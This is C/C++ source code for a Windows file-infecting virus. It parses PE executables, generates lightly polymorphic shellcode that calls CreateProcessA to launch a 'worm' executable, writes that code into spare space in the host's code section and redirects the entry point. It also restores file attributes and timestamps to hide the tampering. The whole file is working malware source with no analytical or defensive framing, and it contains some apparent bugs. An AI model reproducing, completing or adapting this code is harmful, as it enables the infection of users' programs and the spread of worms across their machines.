#include "windows.h"
char *InfectCode = NULL;
DWORD aCreateProcess = 0;
int GetRand()
{
return rand();
}
//disassemblied thunk code
/*
:00401000.6842104000 push 00401042
:00401005 33C9 xor ecx,ecx
:00401007 64FF31 push fs:dword ptr [ecx]
:0040100A 648921 mov fs:[ecx],esp
:0040100D 33C0 xor eax,eax
:0040100F 6A10 push 00000010
:00401011 59 pop ecx
:00401012 50 push eax
:00401013 E2FD loop T.00401012 (00401012)
:00401015 6A44 push 00000044
:00401017 8BD4 mov edx,esp
:00401019 83EC10 sub esp,00000010
:0040101C 8BCC mov ecx,esp
:0040101E 51 push ecx
:0040101F 52 push edx
:00401020 50 push eax
:00401021 50 push eax
:00401022 50 push eax
:00401023 50 push eax
:00401023 50 push eax
:00401024 50 push eax
:00401025 50 push eax
:00401026 6854104000 push 00401054
:0040102B 50 push eax
:0040102C B878563412 mov eax,12345678
:00401031 FFD0 call eax
:00401033 83C454 add esp,00000054
:00401036 33C9 xor ecx,ecx
:00401038 648F01 pop fs:dword ptr [ecx]
:0040103B 5E pop esi
:0040103C 6868104000 push 00401068
:00401041 C3 ret
:00401042 6868104000 push 00401068
:00401047 8B442410 mov eax,[esp+10]
:0040104B 8F80B8000000 pop dword ptr [eax+000000B8]
:00401051 33C0 xor eax,eax
:00401053 C3 ret
;vfilename is here
*/
/*
Build the thunk code. This is the kernel code.
Parameters:
hostentry:original file's code entry point(RVA)
startaddr:where my thunk code start(RVA)
vname:worm file name, include full path
*/
int BuildInfectCode(const DWORD hostentry, const DWORD startaddr, const char *vname)
{
char *p = InfectCode;
unsigned char t, c1, c2;
int i;
if(0 == aCreateProcess)
aCreateProcess = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateProcessA");
//code body
*p++ = 0x68; //push
*(DWORD *)p = startaddr + 0x42; //seh handler
p += 4;
t = GetRand() % 3; //eax, edx, ecx
*p++ = 0x31 + ((GetRand() && 1) << 1); //xor
*p++ = 0xc0 | (t << 3) | t; //xor reg, reg
*p++ = 0x64; //fs
*p++ = 0xff; //push
*p++ = 0x30 | t;
*p++ = 0x64; //fs
*p++ = 0x89; //mov
*p++ = 0x20 | t; //mov [reg], esp
t = GetRand() % 3; //eax, edx
if(0x01 == t) t = 0; //don't use ecx
*p++ = 0x31 + ((GetRand() && 1) << 1); //xor
*p++ = 0xc0 | (t << 3) | t; //xor reg, reg
*(WORD *)p = 0x106a; //push 10h
p += 2;
*p++ = 0x59; //pop ecx
*p++ = 0x50 | t; //push reg
*(WORD *)p = 0xfde2; //loop $ - 3
p += 2;
*(WORD *)p = 0x446a; //push 44h
p += 2;
c1 = (t + 1) % 3;
for(c2 = 0; c2 < 3; c2++)
if(c2 != t && c2 != c1) break;
*p++ = 0x8b; //mov
*p++ = 0xc4 | (c1 << 3); //mov reg1, esp STARTUPINFO
*(DWORD *)p = 0x8b10ec83; //sub esp, 10h/mov
p += 4;
*p++ = 0xc4 | (c2 << 3); //mov reg2, esp PROCESS_INformATION
*p++ = 0x50 | c2; //push reg2
*p++ = 0x50 | c1; //push reg1
for(i = 0; i < 6; i++)
*p++ = 0x50 | t; //push reg, reg is 0
*p++ = 0x68; //push
*(DWORD *)p = startaddr + 0x54; //virus file name
p += 4;
*p++ = 0x50 | t; //push reg, reg is 0
t = GetRand() % 3; //eax, edx, ecx
*p++ = 0xb8 | t; //mov
*(DWORD *)p = aCreateProcess; //mov reg, aCreateProcess
p += 4;
*p++ = 0xff;
*p++ = 0xd0 | t; //call reg
t = GetRand() % 3; //eax, edx, ecx
*(DWORD *)p = 0x3354c483; //add esp, 54h/xor
p += 4;
*p++ = 0xc0 | (t << 3) | t; //xor reg, reg
*p++ = 0x64; //fs
*p++ = 0x8f; //push
*p++ = t;
*p++ = 0x58 | (GetRand() % 3);
*p++ = 0x68; //push
*(DWORD *)p = hostentry; //host entry
p += 4;
*p++ = 0xc3; //retn
//seh handler
*p++ = 0x68; //push
*(DWORD *)p = hostentry; //host entry
p += 4;
*(DWORD *)p = 0x1024448b; //mov eax, [esp + 10h]
p += 4;
*(WORD *)p = 0x808f; //pop
p += 2;
*(DWORD *)p = 0xb8; //pop [eax + 0b8h]
p += 4;
*(WORD *)p = 0xc033; //xor eax,eax
p += 2;
*p++ = 0xc3; //retn
i = -1;
do {
*p++ = vname[++i];
}while(vname[i] != 0);
return p - InfectCode;
}
void InfectFileHelper(char *buf, const char *vname)
{
char *p = buf, *sec;
DWORD entry, code, t, startaddr, base;
int i, seccount, clen;
if(NULL == InfectCode)
InfectCode = new char[4096];
try {
if(*(WORD *)p != 0x5a4d) return;
p = buf + *(WORD *)(p + 0x3c);
if(*(WORD *)p != 0x4550) return;
t = *(WORD *)(p + 0x5c);
if(t != 0x02 && t != 0x03) return;
entry = *(DWORD *)(p + 0x28);
sec = p + 0x100;
seccount = *(WORD *)(p + 6);
for(i = 0; i < seccount; i++) {
if(*(DWORD *)(sec + 4) <= entry
&& *(DWORD *)sec + *(DWORD *)(sec + 4) > entry)
break;
sec += 0x28;
}
if(i >= seccount - 1)
return; //assume the code section is not the last one
t = *(DWORD *)(sec + 0x08);
if(*(DWORD *)sec < t) t = *(DWORD *)sec;
startaddr = *(DWORD *)(sec + 0x04) + t;
base = *(DWORD *)(p + 0x34);
clen = BuildInfectCode(entry + base, startaddr + base, vname);
code = t + *(DWORD *)(sec + 0x0c);
if(*(DWORD *)(sec + 0x28 + 0x0c)
<= code + clen)
return; //no enough room
MoveMemory(buf + code, InfectCode, clen);
*(DWORD *)(p + 0x28) = startaddr;
}
catch(...) {
}
}
void InfectFile(const char *filename, const char *vname)
{
HANDLE fh, fm;
DWORD fa = GetFileAttributes(filename);
FILETIME ft[3];
char *buf;
SetFileAttributes(filename, FILE_ATTRIBUTE_NORMAL);
GetFileTime(fh, ft, ft + 1, ft + 2);
fh = CreateFile(filename, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if(INVALID_HANDLE_value == fh) goto end;
fm = CreateFileMapping(fh, NULL, PAGE_READWRITE, 0, 0, NULL);
if(fm != NULL) {
buf = (char *)MapViewOfFile(fm, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
if(buf != NULL) {
InfectFileHelper(buf, vname);
UnmapViewOfFile(buf);
}
CloseHandle(fm);
}
CloseHandle(fh);
end:
SetFileAttributes(filename, fa);
SetFileTime(fh, ft, ft + 1, ft + 2);
}
int main()
{
srand(GetTickCount());
InfectFile("C://example.exe", "C:/worm/me.exe");
return 0;
}